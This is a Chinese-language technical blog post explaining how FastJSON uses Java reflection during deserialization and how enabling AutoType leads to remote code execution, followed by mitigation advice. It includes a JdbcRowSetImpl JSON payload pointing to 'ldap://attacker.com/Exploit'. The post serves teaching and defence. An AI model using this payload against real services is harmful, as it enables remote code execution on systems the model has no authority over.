🔍 剖析FastJSON 反序列化是如何利用的反射机制
📌 一、反序列化是什么?
反序列化(Deserialization):将字符串形式的数据(如 JSON)转成 Java 对象的过程。
举个例子,有一个 Java 类:
public class User {
public String username;
public int age;
}
如果传入 JSON:
{
"username": "www.geekserver.top",
"age": 20
}
我们可以使用 FastJSON 自动反序列化它:
User u = JSON.parseObject(jsonStr, User.class);
但问题是——FastJSON 怎么知道怎么构建这个类?怎么给字段赋值?这时候就用到了 Java 的反射机制。
⚙️ 二、FastJSON 使用反射详细分析
下面我们从零开始拆解 FastJSON 是怎么用反射一步步把 JSON 字符串变成对象的。
▶️ 第 1 步:类加载
FastJSON 首先需要知道要反序列化成哪个类。
- 如果手动指定类(如
User.class),就直接用; - 如果启用了
AutoType,就从 JSON 的@type字段中读取。
// 方式一:手动指定类 JSON.parseObject(jsonStr, User.class);
Class<?> clazz = User.class;
// 方式二:AutoType 动态识别 JSON.parseObject(jsonStr);
String className = jsonObj.get("@type");
Class<?> clazz = Class.forName(className);
反射关键点:
Class.forName()动态加载类。
▶️ 第 2 步:实例化对象
FastJSON 会用 clazz.newInstance() 创建目标类的实例。
Object obj = clazz.newInstance(); // 相当于 new User()
反射关键点:默认调用类的无参构造方法。如果类没有无参构造,就报错。
▶️ 第 3 步:遍历字段,赋值属性
FastJSON 会读取 JSON 中的 key-value 对,然后:
- 在类中找对应字段;
- 设置为可访问;
- 强制赋值。
具体如下:
Field field = clazz.getDeclaredField("username"); // 找到字段
field.setAccessible(true); // 设置可访问
field.set(obj, "Alice"); // 设置值
对于多个字段会这样循环:
for (Map.Entry<String, Object> entry : jsonMap.entrySet()) {
Field field = clazz.getDeclaredField(entry.getKey());
field.setAccessible(true);
field.set(obj, entry.getValue());
}
🧩 结果:我们就用反射动态生成了一个对象!
User u = (User) obj;
System.out.println(u.username); // 输出:Alice
📌总结
FastJSON的反序列化JSON.parseObject(jsonStr, User.class);相当于进行了如下操作:
// 1. 把 JSON 字符串转成 Map 结构
Map<String, Object> jsonMap = new HashMap<>();
jsonMap.put("username", "alice");
jsonMap.put("age", 18);
// 2. 用反射创建对象实例
Class<?> clazz = User.class;
Object obj = clazz.newInstance(); // 默认调用无参构造
// 3. 用反射给字段赋值(字段名必须和 JSON 键一致)
for (Map.Entry<String, Object> entry : jsonMap.entrySet()) {
Field field = clazz.getDeclaredField(entry.getKey());
field.setAccessible(true); // 解锁私有字段
field.set(obj, entry.getValue()); // 赋值
}
// 4. 返回强转后的对象
User u = (User) obj;
☠️ 三、AutoType 与反射结合后的漏洞原理
我们现在明白了 FastJSON 会:
- 通过反射
Class.forName()加载类; - 用反射
newInstance()创建对象; - 用反射操作字段,赋值。
✅ 那攻击者可以怎么利用?
如果开启了 AutoType,攻击者就能传一个精心构造的 JSON,例如:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}
FastJSON 会:
- 反射加载
JdbcRowSetImpl类; - 调用其构造方法创建对象;
- 自动调用
setDataSourceName("ldap://..."); - 内部触发 JNDI 请求 → 远程加载恶意类 → 执行代码。
JdbcRowSetImpl 利用链分析 👉 FastJSON × JdbcRowSetImpl 利用链是否还有效?全面解析如何突破 JDK 安全限制-极客星球
💣 四、流程总结
| 阶段 | 技术 | 说明 |
|---|---|---|
| 🏗️ 加载类 | Class.forName() | 反射动态加载任意类(危险!) |
| ⚙️ 创建对象 | clazz.newInstance() | 调用无参构造方法实例化 |
| 🧩 设置属性 | field.set(obj, value) | 设置攻击字段触发危险行为 |
| 🧨 利用漏洞类 | JdbcRowSetImpl | 自动触发 JNDI 请求 |
| 🔥 实现 RCE | JNDI + 远程类加载 | 下载并执行远程恶意类 |
✅ 五、修复建议
| 防护措施 | 建议 |
|---|---|
| 🚫 禁用 AutoType | 默认关闭 setAutoTypeSupport(true) |
| ✅ 配置白名单 | ParserConfig.addAccept("com.safe.") |
| ⬆️ 升级 FastJSON | 推荐 1.2.83+,更强防护机制 |
| 🔍 审计日志 | 检查是否存在 @type 字段传入 |
🧠 六、总结:为什么 FastJSON 漏洞离不开反射?
- FastJSON 是为了灵活和泛化;
- Java 的反射机制让 JSON 可以动态适配任何类;
- 攻击者正是利用了反射的“全能”特性,构造任意对象、注入恶意行为。











暂无评论内容